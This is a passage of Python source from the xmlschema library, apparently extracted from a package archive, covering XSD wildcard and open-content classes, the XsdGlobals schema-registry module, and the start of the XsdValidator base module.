Union[DecodedValueType, EmptyType]: name, value = obj if not self.is_matching(name): reason = _("attribute %r not allowed") % name context.validation_error(validation, self, reason, obj) if self.process_contents == 'skip' and not context.process_skipped: return Empty namespace = get_namespace(name) if self.maps.loader.load_namespace(namespace): try: xsd_attribute = self.maps.attributes[name] except KeyError: if validation != 'skip' and self.process_contents == 'strict': reason = _("attribute %r not found") % name context.validation_error(validation, self, reason, obj) else: return xsd_attribute.raw_decode(value, validation, context) elif validation != 'skip' and self.process_contents == 'strict': reason = _("unavailable namespace {!r}").format(get_namespace(name)) context.validation_error(validation, self, reason) return value def raw_encode(self, obj: tuple[str, AtomicValueType], validation: str, context: EncodeContext) -> Union[str, None, EmptyType]: name, value = obj namespace = get_namespace(name) if not self.is_namespace_allowed(namespace): reason = _("attribute %r not allowed") % name context.validation_error(validation, self, reason, obj) if self.process_contents == 'skip' and not context.process_skipped: return Empty if self.maps.loader.load_namespace(namespace): try: xsd_attribute = self.maps.attributes[name] except KeyError: if validation != 'skip' and self.process_contents == 'strict': reason = _("attribute %r not found") % name context.validation_error(validation, self, reason, obj) else: return xsd_attribute.raw_encode(value, validation, context) elif validation != 'skip' and self.process_contents == 'strict': reason = _("unavailable namespace {!r}").format(namespace) context.validation_error(validation, self, reason) return raw_encode_value(value) class Xsd11AnyElement(XsdAnyElement): """ Class for XSD 1.1 *any* declarations. .. <any id = ID maxOccurs = (nonNegativeInteger | unbounded) : 1 minOccurs = nonNegativeInteger : 1 namespace = ((##any | ##other) | List of (anyURI | (##targetNamespace | ##local)) ) notNamespace = List of (anyURI | (##targetNamespace | ##local)) notQName = List of (QName | (##defined | ##definedSibling)) processContents = (lax | skip | strict) : strict {any attributes with non-schema namespace . . .}> Content: (annotation?) </any> """ def _parse(self) -> None: super()._parse() self._parse_not_constraints() def is_matching(self, name: Optional[str], default_namespace: Optional[str] = None, group: Optional[ModelGroupType] = None, occurs: Optional[OccursCounterType] = None, **kwargs: Any) -> bool: """ Returns `True` if the component name is matching the name provided as argument, `False` otherwise. :param name: a local or fully-qualified name. :param default_namespace: used by the XPath processor for completing \ the name argument in case it's a local name. :param group: used only by XSD 1.1 any element wildcards to verify siblings in \ case of ##definedSibling value in notQName attribute. :param occurs: a Counter instance for verify model occurrences counting. """ if name is None: return False elif not name or name[0] == '{': if not self.is_namespace_allowed(get_namespace(name)): return False elif not default_namespace: if not self.is_namespace_allowed(''): return False else: name = f'{{{default_namespace}}}{name}' if not self.is_namespace_allowed(default_namespace): return False if group in self.precedences: if occurs is None: if any(e.is_matching(name) for e in self.precedences[group]): return False elif any(e.is_matching(name) and not e.is_over(occurs) for e in self.precedences[group]): return False if '##defined' in self.not_qname and name in self.maps.elements: return False if group and '##definedSibling' in self.not_qname: if any(e.is_matching(name) for e in group.iter_elements() if not isinstance(e, XsdAnyElement)): return False return name not in self.not_qname def is_consistent(self, other: SchemaElementType, **kwargs: Any) -> bool: if isinstance(other, XsdAnyElement) or self.process_contents == 'skip': return True xsd_element = self.match(other.name, other.default_namespace, resolve=True) return xsd_element is None or other.is_consistent(xsd_element, strict=False) def add_precedence(self, other: ModelParticleType, group: ModelGroupType) -> None: try: self.precedences[group].append(other) except KeyError: self.precedences[group] = [other] class Xsd11AnyAttribute(XsdAnyAttribute): """ Class for XSD 1.1 *anyAttribute* declarations. .. <anyAttribute id = ID namespace = ((##any | ##other) | List of (anyURI | (##targetNamespace | ##local)) ) notNamespace = List of (anyURI | (##targetNamespace | ##local)) notQName = List of (QName | ##defined) processContents = (lax | skip | strict) : strict {any attributes with non-schema namespace . . .}> Content: (annotation?) </anyAttribute> """ def _parse(self) -> None: super()._parse() self._parse_not_constraints() def is_matching(self, name: Optional[str], default_namespace: Optional[str] = None, **kwargs: Any) -> bool: if name is None: return False elif not name or name[0] == '{': namespace = get_namespace(name) elif not default_namespace: namespace = '' else: name = f'{{{default_namespace}}}{name}' namespace = default_namespace if '##defined' in self.not_qname and name in self.maps.attributes: xsd_attribute = self.maps.attributes[name] if isinstance(xsd_attribute, tuple): if xsd_attribute[1] is self.schema: return False elif xsd_attribute.schema is self.schema: return False return name not in self.not_qname and self.is_namespace_allowed(namespace) class XsdOpenContent(XsdComponent): """ Class for XSD 1.1 *openContent* model definitions. .. <openContent id = ID mode = (none | interleave | suffix) : interleave {any attributes with non-schema namespace . . .}> Content: (annotation?), (any?) </openContent> """ _ADMITTED_TAGS = XSD_OPEN_CONTENT, mode = 'interleave' any_element = None # type: Xsd11AnyElement def __init__(self, elem: ElementType, schema: SchemaType, parent: XsdComponent) -> None: super().__init__(elem, schema, parent) def __repr__(self) -> str: return '%s(mode=%r)' % (self.__class__.__name__, self.mode) def _parse(self) -> None: try: self.mode = self.elem.attrib['mode'] except KeyError: pass else: if self.mode not in ('none', 'interleave', 'suffix'): msg = _("wrong value %r for 'mode' attribute") self.parse_error(msg % self.mode) child = self._parse_child_component(self.elem) if self.mode == 'none': if child is not None and child.tag == XSD_ANY: msg = _("an openContent with mode='none' cannot " "have an <xs:any> child declaration") self.parse_error(msg) elif child is None or child.tag != XSD_ANY: self.parse_error(_("an <xs:any> child declaration is required")) else: self.any_element = Xsd11AnyElement(child, self.schema, self) def is_restriction(self, other: 'XsdOpenContent') -> bool: if other is None or other.mode == 'none': return self.mode == 'none' elif self.mode == 'interleave' and other.mode == 'suffix': return False else: return self.any_element.is_restriction(other.any_element) class XsdDefaultOpenContent(XsdOpenContent): """ Class for XSD 1.1 *defaultOpenContent* model definitions. .. <defaultOpenContent appliesToEmpty = boolean : false id = ID mode = (interleave | suffix) : interleave {any attributes with non-schema namespace . . .}> Content: (annotation?, any) </defaultOpenContent> """ _ADMITTED_TAGS = XSD_DEFAULT_OPEN_CONTENT, applies_to_empty = False def __init__(self, elem: ElementType, schema: SchemaType) -> None: super(XsdOpenContent, self).__init__(elem, schema) def _parse(self) -> None: super()._parse() if self.parent is not None: msg = _("defaultOpenContent must be a child of the schema") self.parse_error(msg) if self.mode == 'none': msg = _("the attribute 'mode' of a defaultOpenContent cannot be 'none'") self.parse_error(msg) if self._parse_child_component(self.elem) is None: msg = _("a defaultOpenContent declaration cannot be empty") self.parse_error(msg) if 'appliesToEmpty' in self.elem.attrib: if self.elem.attrib['appliesToEmpty'].strip() in ('true', '1'): self.applies_to_empty = True ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/xsd_globals.py�������������������������������������������������0000664�0000000�0000000�00000062201�15020401055�0022472�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import copy import threading import warnings from collections.abc import Collection, Iterator, Iterable from contextlib import contextmanager from functools import cached_property from itertools import dropwhile from typing import Any, cast, Optional, Type from elementpath import XPathToken import xmlschema.names as nm from xmlschema.aliases import SchemaType, BaseXsdType, LocationsType, \ SchemaGlobalType, SchemaSourceType, NsmapType, StagedItemType, ComponentClassType from xmlschema.exceptions import XMLSchemaAttributeError, XMLSchemaTypeError, \ XMLSchemaValueError, XMLSchemaWarning, XMLSchemaNamespaceError, XMLSchemaException from xmlschema.translation import gettext as _ from xmlschema.utils.misc import deprecated from xmlschema.utils.qnames import get_extended_qname from xmlschema.utils.descriptors import validator_property from xmlschema.utils.urls import get_url, normalize_url from xmlschema.namespaces import NamespaceResourcesMap from xmlschema.loaders import SchemaLoader from xmlschema.resources import XMLResource from .exceptions import XMLSchemaModelError, XMLSchemaModelDepthError, XMLSchemaParseError from .xsdbase import XsdValidator, XsdComponent from .models import check_model from . import XsdAttribute, XsdSimpleType, XsdComplexType, XsdElement, \ XsdGroup, XsdIdentity, XsdUnion, XsdAtomicRestriction, \ XsdAtomic, XsdAtomicBuiltin, XsdNotation, XsdAttributeGroup from .builders import GLOBAL_MAP_ATTRIBUTE, GlobalMaps # Default placeholder for deprecation of argument 'validation' in XsdGlobals _strict = type('str', (str,), {})('strict') class XsdGlobals(XsdValidator, Collection[SchemaType]): """ Mediator collection class for composing XML schema instances and provides lookup maps. It stores the global declarations defined in the registered schemas. Register a schema to add its declarations to the global maps. :param validator: the origin schema class/instance used for creating the global maps. :param validation: deprecated argument for the validation mode, now it takes the \ validation mode of the validator. :param parent: an optional parent schema, that is required to be built and with \ no use of the target namespace of the validator. :param loader_class: an optional subclass of :class:`SchemaLoader` to use for creating \ the loader instance. :param locations: schema extra location hints, that can include custom resource locations \ or additional namespaces to import after processing schema's import statements. :param use_fallback: if `True` the schema processor uses the validator fallback \ location hints to load well-known namespaces (e.g. xhtml). :param use_xpath3: if `True` an XSD 1.1 schema instance uses the XPath 3 processor \ for assertions. For default a full XPath 2.0 processor is used. """ _schemas: set[SchemaType] namespaces: NamespaceResourcesMap[SchemaType] loader: SchemaLoader substitution_groups: dict[str, set[XsdElement]] identities: dict[str, XsdIdentity] __slots__ = ('_build_lock', '_schemas', '_parent', 'validation', 'errors', 'validator', 'namespaces', 'loader', 'global_maps', 'types', 'notations', 'attributes', 'attribute_groups', 'elements', 'groups', 'substitution_groups', 'identities', '_built') def __init__(self, validator: SchemaType, validation: str = _strict, parent: Optional[SchemaType] = None, loader_class: Optional[Type[SchemaLoader]] = None, locations: Optional[LocationsType] = None, use_fallback: bool = True, use_xpath3: bool = False) -> None: if not isinstance(validation, _strict.__class__): msg = "argument 'validation' is not used and will be removed in v5.0" warnings.warn(msg, DeprecationWarning, stacklevel=1) super().__init__(validator.validation) self._build_lock = threading.Lock() self._built = False self._schemas = set() self._parent = parent self.validator = validator self.namespaces = NamespaceResourcesMap() # Registered schemas by namespace URI self.global_maps = GlobalMaps.from_builders(validator.builders) (self.types, self.notations, self.attributes, self.attribute_groups, self.elements, self.groups) = self.global_maps self.substitution_groups = {} self.identities = {} for ancestor in self.iter_ancestors(): self._schemas.update(ancestor.maps.schemas) self.namespaces.update(ancestor.maps.namespaces) ancestor.maps.build() self.global_maps.update(ancestor.maps.global_maps) self.substitution_groups.update(ancestor.maps.substitution_groups) self.identities.update(ancestor.maps.identities) self.validator.maps = self self.loader = (loader_class or SchemaLoader)( self, locations, use_fallback, use_xpath3 ) @property def schemas(self) -> set[SchemaType]: return self._schemas @property def owned_schemas(self) -> set[SchemaType]: """Returns a set of the registered schemas owned by this instance.""" return {s for s in self._schemas if s.maps is self} @property def parent(self) -> Optional[SchemaType]: return self._parent def __repr__(self) -> str: return '%s(validator=%r)' % (self.__class__.__name__, self.validator) def __setattr__(self, name: str, value: Any) -> None: if hasattr(self, name): if name == '_built': self.__dict__.clear() elif name != '_parent': msg = _("can't change attribute {!r} of a global maps instance") raise XMLSchemaAttributeError(msg.format(name)) super().__setattr__(name, value) def __len__(self) -> int: return len(self._schemas) def __iter__(self) -> Iterator[SchemaType]: yield from self._schemas def __contains__(self, obj: object) -> bool: return obj in self._schemas def __getstate__(self) -> dict[str, Any]: return {a: getattr(self, a) for a in self._mro_slots() if a != '_build_lock'} def __setstate__(self, state: dict[str, Any]) -> None: for attr, value in state.items(): object.__setattr__(self, attr, value) self._build_lock = threading.Lock() def __copy__(self) -> 'XsdGlobals': other = type(self)( validator=copy.copy(self.validator), parent=self._parent, loader_class=self.loader.__class__, ) other.loader.__dict__.update(self.loader.__dict__) other.loader.locations = self.loader.locations.copy() other.loader.missing_locations.update(self.loader.missing_locations) other.validator.maps = other for schema in self._schemas: if schema.maps is self and schema is not self.validator: copy.copy(schema).maps = other other.clear() return other copy = __copy__ def lookup(self, tag: str, qname: str) -> SchemaGlobalType: """ General lookup method for XSD global components. :param tag: the expanded QName of the XSD the global declaration/definition \ (e.g. '{http://www.w3.org/2001/XMLSchema}element'), that is used to select \ the global map for lookup. :param qname: the expanded QName of the component to be looked-up. :returns: an XSD global component. :raises: an XMLSchemaValueError if the *tag* argument is not appropriate for a global \ component, an XMLSchemaKeyError if the *qname* argument is not found in the global map. """ try: global_map = GLOBAL_MAP_ATTRIBUTE[tag](self) except KeyError: msg = _("wrong tag {!r} for an XSD global definition/declaration") raise XMLSchemaValueError(msg.format(tag)) from None else: return cast(SchemaGlobalType, global_map[qname]) @deprecated('5.0', alt='use item lookup on notations instead') def lookup_notation(self, qname: str) -> XsdNotation: return self.notations[qname] @deprecated('5.0', alt='use item lookup on types instead') def lookup_type(self, qname: str) -> BaseXsdType: return self.types[qname] @deprecated('5.0', alt='use item lookup on attributes instead') def lookup_attribute(self, qname: str) -> XsdAttribute: return self.attributes[qname] @deprecated('5.0', alt='use item lookup on attribute_groups instead') def lookup_attribute_group(self, qname: str) -> XsdAttributeGroup: return self.attribute_groups[qname] @deprecated('5.0', alt='use item lookup on groups instead') def lookup_group(self, qname: str) -> XsdGroup: return self.groups[qname] @deprecated('5.0', alt='use item lookup on elements instead') def lookup_element(self, qname: str) -> XsdElement: return self.elements[qname] def get_instance_type(self, type_name: str, base_type: BaseXsdType, namespaces: NsmapType) -> BaseXsdType: """ Returns the instance XSI type from global maps, validating it with the reference base type. :param type_name: the XSI type attribute value, a QName in prefixed format. :param base_type: the XSD from which the instance type has to be derived. :param namespaces: a mapping from prefixes to namespaces. """ if isinstance(base_type, XsdComplexType) and nm.XSI_TYPE in base_type.attributes: xsd_attribute = cast(XsdAttribute, base_type.attributes[nm.XSI_TYPE]) xsd_attribute.validate(type_name) extended_name = get_extended_qname(type_name, namespaces) xsi_type = self.types[extended_name] if xsi_type.is_derived(base_type): return xsi_type elif isinstance(base_type, XsdSimpleType) and \ base_type.is_union() and not base_type.facets: # Can be valid only if the union doesn't have facets, see: # https://www.w3.org/Bugs/Public/show_bug.cgi?id=4065 if isinstance(base_type, XsdAtomicRestriction) and \ isinstance(base_type.primitive_type, XsdUnion): if xsi_type in base_type.primitive_type.member_types: return xsi_type elif isinstance(base_type, XsdUnion): if xsi_type in base_type.member_types: return xsi_type msg = _("{0!r} cannot substitute {1!r}") raise XMLSchemaTypeError(msg.format(xsi_type, base_type)) @property def built(self) -> bool: return self._built @cached_property def validation_attempted(self) -> str: if not any(m for m in self.global_maps): return 'none' elif not self._built or any(m.total_staged for m in self.global_maps): return 'partial' else: return 'full' @cached_property def validity(self) -> str: if self.validation == 'skip': return 'notKnown' elif any(s.errors for s in self._schemas) or \ any(c.errors for c in self.iter_components()): return 'invalid' elif not self._built or any(m.total_staged for m in self.global_maps): return 'notKnown' else: return 'valid' @validator_property def xpath_constructors(self) -> dict[str, Type[XPathToken]]: if not self._built: return {} xpath_parser = self.loader.xpath_parser_class() xpath_parser.schema = self.validator.xpath_proxy constructors: dict[str, Type[XPathToken]] = {} for name, xsd_type in self.types.items(): if isinstance(xsd_type, XsdAtomic) and \ not isinstance(xsd_type, XsdAtomicBuiltin) and \ name not in (nm.XSD_ANY_ATOMIC_TYPE, nm.XSD_NOTATION): constructors[name] = xpath_parser.schema_constructor(name) return constructors @property def use_meta(self) -> bool: return self.validator.meta_schema is None or \ self.validator.meta_schema in self._schemas @property def unbuilt(self) -> list[XsdComponent]: """Property that returns a list with unbuilt components.""" return [c for c in self.iter_components() if not c.built] @property def xsd_version(self) -> str: return self.validator.XSD_VERSION @property def all_errors(self) -> list[XMLSchemaParseError]: return [e for s in self._schemas for e in s.all_errors] @property def total_errors(self) -> int: return sum(s.total_errors for s in self._schemas) def create_bindings(self, *bases: Type[Any], **attrs: Any) -> None: """Creates data object bindings for the XSD elements of built schemas.""" for xsd_element in self.iter_components(xsd_classes=XsdElement): assert isinstance(xsd_element, XsdElement) if xsd_element.target_namespace != nm.XSD_NAMESPACE: xsd_element.get_binding(*bases, replace_existing=True, **attrs) def clear_bindings(self) -> None: for xsd_element in self.iter_components(xsd_classes=XsdElement): assert isinstance(xsd_element, XsdElement) xsd_element.binding = None def iter_components(self, xsd_classes: Optional[ComponentClassType] = None) \ -> Iterator[XsdComponent]: """Creates an iterator for the XSD components of built schemas.""" for xsd_global in self.global_maps.iter_globals(): yield from xsd_global.iter_components(xsd_classes) def iter_globals(self) -> Iterator[SchemaGlobalType]: """Creates an iterator for the built XSD global components.""" return self.global_maps.iter_globals() def iter_staged(self) -> Iterator[StagedItemType]: """Creates an iterator for the unbuilt XSD global components.""" return self.global_maps.iter_staged() def iter_schemas(self) -> Iterator[SchemaType]: """Creates an iterator for the registered schemas.""" yield from self._schemas def iter_ancestors(self) -> Iterator[SchemaType]: ancestors: list[SchemaType] = [] parent = self._parent while parent is not None: ancestors.append(parent) parent = parent.maps.parent yield from reversed(ancestors) def get_schema(self, namespace: Optional[str] = None, source: Optional[SchemaSourceType] = None, base_url: Optional[str] = None) -> Optional[SchemaType]: schemas: Optional[list[SchemaType]] if namespace is not None: schemas = self.namespaces.get(namespace) elif isinstance(source, XMLResource): namespace = source.root.get('targetNamespace', '') schemas = self.namespaces.get(namespace) elif source is None: return None else: schemas = list(self._schemas) if schemas is not None: if source is None: return schemas[0] elif (url := get_url(source)) is not None: url = normalize_url(url, base_url) for schema in schemas: if schema.source.match_location(url): return schema elif isinstance(source, XMLResource): for schema in schemas: if schema.source.source is source.source: return schema else: for schema in schemas: if schema.source.source is source: return schema return None def register(self, schema: SchemaType) -> None: """Registers an XMLSchema instance.""" if schema in self._schemas: return namespace = schema.target_namespace source = schema.source.url or schema.source ns_schemas = self.namespaces.get(namespace) if ns_schemas is None: self.namespaces[namespace] = [schema] self._schemas.add(schema) elif ns_schemas[0].maps is not self: self._schemas.add(schema) ns_schemas.append(schema) schema.maps = self self.merge(ancestor=ns_schemas[0].maps.validator) elif self.get_schema(namespace, source) is None: self._schemas.add(schema) ns_schemas.append(schema) else: source_ref = schema.source.url or type(schema.source) raise XMLSchemaValueError( f"another schema loaded from {source_ref!r} is already registered" ) self._built = False def merge(self, ancestor: SchemaType) -> None: """Merge the global maps until to a specific ancestor.""" self.clear() for validator in dropwhile(lambda x: x is not ancestor, self.iter_ancestors()): maps = validator.maps for schema in maps._schemas: if schema.maps is maps: namespace = schema.target_namespace self._schemas.remove(schema) k = self.namespaces[namespace].index(schema) schema = copy.copy(schema) self._schemas.add(schema) self.namespaces[namespace][k] = schema schema.maps = self self._parent = ancestor.maps._parent def clear(self, remove_schemas: bool = False) -> None: """ Clears the instance maps and schemas. :param remove_schemas: removes also the schema instances, keeping only the \ validator that created the global maps instance and schemas and namespaces \ inherited from ancestors. """ self.global_maps.clear() self.substitution_groups.clear() self.identities.clear() for schema in self._schemas: if schema.maps is self: schema.clear() # clear XPath and component lazy properties if remove_schemas: self._schemas.clear() self.namespaces.clear() for ancestor in self.iter_ancestors(): self._schemas.update(ancestor.maps._schemas) self.namespaces.update(ancestor.maps.namespaces) self.register(self.validator) if self.validator.includes: self.validator.includes.clear() self._built = False def build(self) -> None: """ Build the maps of XSD global definitions/declarations. The global maps are updated adding and building the globals of not built registered schemas. """ if self._built: return with self._build_lock: if self._built: return self.check_loaded_schemas() self.clear() for ancestor in self.iter_ancestors(): ancestor.maps.build() self.global_maps.update(ancestor.maps.global_maps) self.substitution_groups.update(ancestor.maps.substitution_groups) self.identities.update(ancestor.maps.identities) # Have to respect the insertion order for redefinitions/overrides schemas = [s for ns_schemas in self.namespaces.values() for s in ns_schemas if s.maps is self] self.global_maps.load(schemas) self.types.build_builtins(self.validator) self.global_maps.build(schemas) self.check(schemas) self._built = True for s in schemas: s.clear() self.check_validator() @contextmanager def protect_status(self, reraise: bool = True) -> Iterator['XsdGlobals']: """Context manager for set a restore point in case of error.""" schemas = self._schemas.copy() namespaces = self.namespaces.copy() global_maps = self.global_maps.copy() substitution_groups = self.substitution_groups.copy() identities = self.identities.copy() built = self._built try: yield self except XMLSchemaException: self.clear() self._schemas.clear() self.namespaces.clear() self._schemas.update(schemas) self.namespaces.update(namespaces) self.global_maps.update(global_maps) self.substitution_groups.update(substitution_groups) self.identities.update(identities) self._built = built if reraise: raise def check_loaded_schemas(self) -> None: """Checks the coherence of schema registrations.""" if self.validator not in self._schemas: raise XMLSchemaValueError(_('global maps main validator is not registered')) if self._parent is None: self.validator.create_meta_schema(global_maps=self) total = 0 for namespace, schemas in self.namespaces.items(): total += len(schemas) for s in schemas: if s.target_namespace != namespace: msg = _('schema {!r} does not belong to namespace {!r}') raise XMLSchemaNamespaceError(msg.format(s, namespace)) elif s not in self._schemas: msg = _('schema {!r} does not belong to {!r}') raise XMLSchemaNamespaceError(msg.format(s, self)) if len(self._schemas) != total: raise XMLSchemaValueError( _('registered schemas do not match namespace mapped schemas') ) def check(self, schemas: Optional[Iterable[SchemaType]] = None) -> None: """ Checks the components of provided schemas. Used after the build of the global maps. For default checks all schemas and raises an exception at first error. :param schemas: optional argument with the set of the schemas to check. :raise: XMLSchemaParseError """ if schemas is None: schemas = {s for s in self._schemas if s.maps is self} # Checks substitution groups circularity for qname in self.substitution_groups: xsd_element = self.elements[qname] if any(e is xsd_element for e in xsd_element.iter_substitutes()): msg = _("circularity found for substitution group with head element {}") xsd_element.parse_error(msg.format(xsd_element)) # Check redefined global groups restrictions for group in self.groups.values(): assert isinstance(group, XsdGroup), _("global group not built!") if group.schema not in schemas or group.redefine is None: continue while group.redefine is not None: if not any(isinstance(e, XsdGroup) and e.name == group.name for e in group) \ and not group.is_restriction(group.redefine): msg = _("the redefined group is an illegal restriction") group.parse_error(msg) group = group.redefine # Check complex content types models restrictions for xsd_global in filter(lambda x: x.schema in schemas, self.iter_globals()): xsd_type: Any for xsd_type in xsd_global.iter_components(XsdComplexType): if not isinstance(xsd_type.content, XsdGroup): continue if xsd_type.derivation == 'restriction': base_type = xsd_type.base_type if base_type and base_type.name != nm.XSD_ANY_TYPE and base_type.is_complex(): if not xsd_type.content.is_restriction(base_type.content): msg = _("the derived group is an illegal restriction") xsd_type.parse_error(msg) if base_type.is_complex() and not base_type.open_content and \ xsd_type.open_content and xsd_type.open_content.mode != 'none': _group = xsd_type.schema.builders.create_any_content_group( parent=xsd_type, any_element=xsd_type.open_content.any_element ) if not _group.is_restriction(base_type.content): msg = _("restriction has an open content but base type has not") _group.parse_error(msg) try: check_model(xsd_type.content) except XMLSchemaModelDepthError: msg = _("can't verify the content model of {!r} " "due to exceeding of maximum recursion depth") xsd_type.schema.warnings.append(msg.format(xsd_type)) warnings.warn(msg, XMLSchemaWarning, stacklevel=4) except XMLSchemaModelError as err: if self.validation == 'strict': raise xsd_type.errors.append(err) �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/validators/xsdbase.py�����������������������������������������������������0000664�0000000�0000000�00000106000�15020401055�0021616�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """ This module contains base functions and classes XML Schema components. """ import logging from collections.abc import Iterator, MutableMapping from functools import cached_property from typing import TYPE_CHECKING, cast, Any, Optional, Union from elementpath import select from elementpath.etree import etree_tostring from xmlschema.exceptions import XMLSchemaTypeError from xmlschema.names import XSD_ANNOTATION, XSD_APPINFO, XSD_DOCUMENTATION, \ XSD_ANY_TYPE, XSD_ANY_SIMPLE_TYPE, XSD_ANY_ATOMIC_TYPE, XSD_BOOLEAN, XSD_ID, \ XSD_QNAME, XSD_OVERRIDE, XSD_NOTATION_TYPE, XSD_DECIMAL, XMLNS_NAMESPACE from xmlschema.aliases import ElementType, NsmapType, SchemaType, BaseXsdType, \ ComponentClassType, DecodedValueType, ModelParticleType from xmlschema.translation import gettext as _ from xmlschema.exceptions import XMLSchemaValueError from xmlschema.utils.qnames import get_qname, local_name, get_prefixed_qname from xmlschema.utils.etree import is_etree_element from xmlschema.utils.logger import format_xmlschema_stack, dump_data from xmlschema.resources import XMLResource from .validation import check_validation_mode, DecodeContext from .exceptions import XMLSchemaParseError, XMLSchemaNotBuiltError from .helpers import get_xsd_annotation_child if TYPE_CHECKING: from .simple_types import XsdSimpleType from .complex_types import XsdComplexType from .elements import XsdElement from .groups import XsdGroup from .xsd_globals import XsdGlobals logger = logging.getLogger('xmlschema') XSD_TYPE_DERIVATIONS = {'extension', 'restriction'} XSD_ELEMENT_DERIVATIONS = {'extension', 'restriction', 'substitution'} class XsdValidator: """ Common base class for XML Schema validator, that represents a PSVI (Post Schema Validation Infoset) information item. A concrete XSD validator have to report its validity collecting building errors and implementing the properties. :param validation: defines the XSD validation mode to use for build the validator, \ its value can be 'strict', 'lax' or 'skip'. Strict mode is the default. :type validation: str :ivar validation: XSD validation mode. :vartype validation: str :ivar errors: XSD validator building errors. :vartype errors: list """ def __init__(self, validation: str = 'strict') -> None: self.validation = validation self.errors: list[XMLSchemaParseError] = [] @classmethod def _mro_slots(cls) -> Iterator[str]: for c in cls.__mro__: if hasattr(c, '__slots__'): yield from c.__slots__ @property def built(self) -> bool: """Defines whether the XSD validator has been fully parsed and built""" raise NotImplementedError() def build(self) -> None: """ Build the validator and its components. Do nothing if the validator is already built. """ raise NotImplementedError() @property def validation_attempted(self) -> str: """ Property that returns the *validation status* of the XSD validator. It can be 'full', 'partial' or 'none'. | https://www.w3.org/TR/xmlschema-1/#e-validation_attempted | https://www.w3.org/TR/2012/REC-xmlschema11-1-20120405/#e-validation_attempted """ raise NotImplementedError() @property def validity(self) -> str: """ Property that returns the XSD validator's validity. It can be ‘valid’, ‘invalid’ or ‘notKnown’. | https://www.w3.org/TR/xmlschema-1/#e-validity | https://www.w3.org/TR/2012/REC-xmlschema11-1-20120405/#e-validity """ if self.validation == 'skip': return 'notKnown' elif self.errors: return 'invalid' elif self.validation_attempted == 'full': return 'valid' else: return 'notKnown' def check_validator(self, validation: Optional[str] = None) -> None: """Checks the status of a schema validator against a validation mode.""" if validation is None: # Validator self-check validation = self.validation if self.validation_attempted == 'none' and self.validity == 'notKnown': return else: # Check called before validation check_validation_mode(validation) if self.validation_attempted == 'none' and validation != 'skip': msg = _("%r is not built") % self raise XMLSchemaNotBuiltError(self, msg) if validation == 'strict': if self.validation_attempted != 'full': msg = _("validation mode is 'strict' and %r is not built") % self raise XMLSchemaNotBuiltError(self, msg) if self.validity != 'valid': msg = _("validation mode is 'strict' and %r is not valid") % self raise XMLSchemaNotBuiltError(self, msg) def iter_components(self, xsd_classes: ComponentClassType = None) \ -> Iterator[Union['XsdComponent', SchemaType, 'XsdGlobals']]: """ Creates an iterator for traversing all XSD components of the validator. :param xsd_classes: returns only a specific class/classes of components, \ otherwise returns all components. """ raise NotImplementedError() @property def all_errors(self) -> list[XMLSchemaParseError]: """ A list with all the building errors of the XSD validator and its components. """ errors = [] for comp in self.iter_components(): if comp.errors: errors.extend(comp.errors) return errors @property def total_errors(self) -> int: return sum(len(comp.errors) for comp in self.iter_components()) def __copy__(self) -> 'XsdValidator': validator: 'XsdValidator' = object.__new__(self.__class__) validator.validation = self.validation validator.errors = self.errors.copy() return validator def parse_error(self, error: Union[str, Exception], elem: Optional[ElementType] = None, validation: Optional[str] = None, namespaces: Optional[NsmapType] = None) -> None: """ Helper method for registering parse errors. Does nothing if validation mode is 'skip'. Il validation mode is 'lax' collects the error, otherwise raise the error. :param error: can be a parse error or an error message. :param elem: the Element instance related to the error, for default uses the 'elem' \ attribute of the validator, if it's present. :param validation: overrides the default validation mode of the validator. :param namespaces: overrides the namespaces of the validator, or provides a mapping \ if the validator hasn't a namespaces attribute. """ if validation is not None: check_validation_mode(validation) else: validation = self.validation if validation == 'skip': return elif elem is None: elem = getattr(self, 'elem', None) elif not is_etree_element(elem): msg = "the argument 'elem' must be an Element instance, not {!r}." raise XMLSchemaTypeError(msg.format(elem)) if namespaces is None: namespaces = getattr(self, 'namespaces', None) if isinstance(error, XMLSchemaParseError): if error.namespaces is None: error.namespaces = namespaces if error.elem is None: error.elem = elem if error.source is None: error.source = getattr(self, 'source', None) elif isinstance(error, Exception): message = str(error).strip() if message[0] in '\'"' and message[0] == message[-1]: message = message.strip('\'"') error = XMLSchemaParseError(self, message, elem, namespaces=namespaces) elif isinstance(error, str): error = XMLSchemaParseError(self, error, elem, namespaces=namespaces) else: msg = "'error' argument must be an exception or a string, not {!r}." raise XMLSchemaTypeError(msg.format(error)) if validation == 'lax': if error.stack_trace is None and logger.level == logging.DEBUG: error.stack_trace = format_xmlschema_stack('xmlschema/validators') logger.debug("Collect %r with traceback:\n%s", error, error.stack_trace) self.errors.append(error) else: raise error def _parse_xpath_default_namespace(self, elem: ElementType) -> str: """ Parse XSD 1.1 xpathDefaultNamespace attribute for schema, alternative, assert, assertion and selector declarations, checking if the value is conforming to the specification. In case the attribute is missing or for wrong attribute values defaults to ''. """ try: value = elem.attrib['xpathDefaultNamespace'] except KeyError: return '' value = value.strip() if value == '##local': return '' elif value == '##defaultNamespace': default_namespace = getattr(self, 'default_namespace', None) return default_namespace if isinstance(default_namespace, str) else '' elif value == '##targetNamespace': target_namespace = getattr(self, 'target_namespace', '') return target_namespace if isinstance(target_namespace, str) else '' elif len(value.split()) == 1: return value else: admitted_values = ('##defaultNamespace', '##targetNamespace', '##local') msg = _("wrong value {0!r} for 'xpathDefaultNamespace' " "attribute, can be (anyURI | {1}).") self.parse_error(msg.format(value, ' | '.join(admitted_values)), elem) return '' class XsdComponent(XsdValidator): """ Class for XSD components. See: https://www.w3.org/TR/xmlschema-ref/ :param elem: ElementTree's node containing the definition. :param schema: the XMLSchema object that owns the definition. :param parent: the XSD 